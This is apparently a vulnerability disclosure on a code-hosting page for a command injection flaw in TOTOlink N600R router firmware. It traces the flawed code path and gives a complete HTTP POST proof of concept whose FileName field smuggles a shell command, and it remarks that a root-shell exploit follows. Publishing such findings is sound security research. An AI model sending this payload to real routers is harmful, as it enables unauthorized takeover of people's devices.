Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
img
April 6, 2022 18:46
April 6, 2022 18:46

TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability

Overview

1. Affected version

image-20220406182121036

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

image-20220406184236808

The program passes the content obtained through the filename function to V6, then formats the matched content into V33 through the sprintf function, and then brings V33 into getcmdstr

image-20220406184258308

At this time, the corresponding parameter A1 is finally brought into the Popen function, and there is a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

  1. Use the fat simulation firmware V5.3c.7159_B20190425
  2. Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 102
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647874864:2
Connection: close

{"topicurl":"setting/setUploadSetting",
"FileName":"test1$(ls>/tmp/10.txt;)",
"ContentLength":"1"
}

The reproduction results are as follows:

image-20220406184353443

image-20220406184345677

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell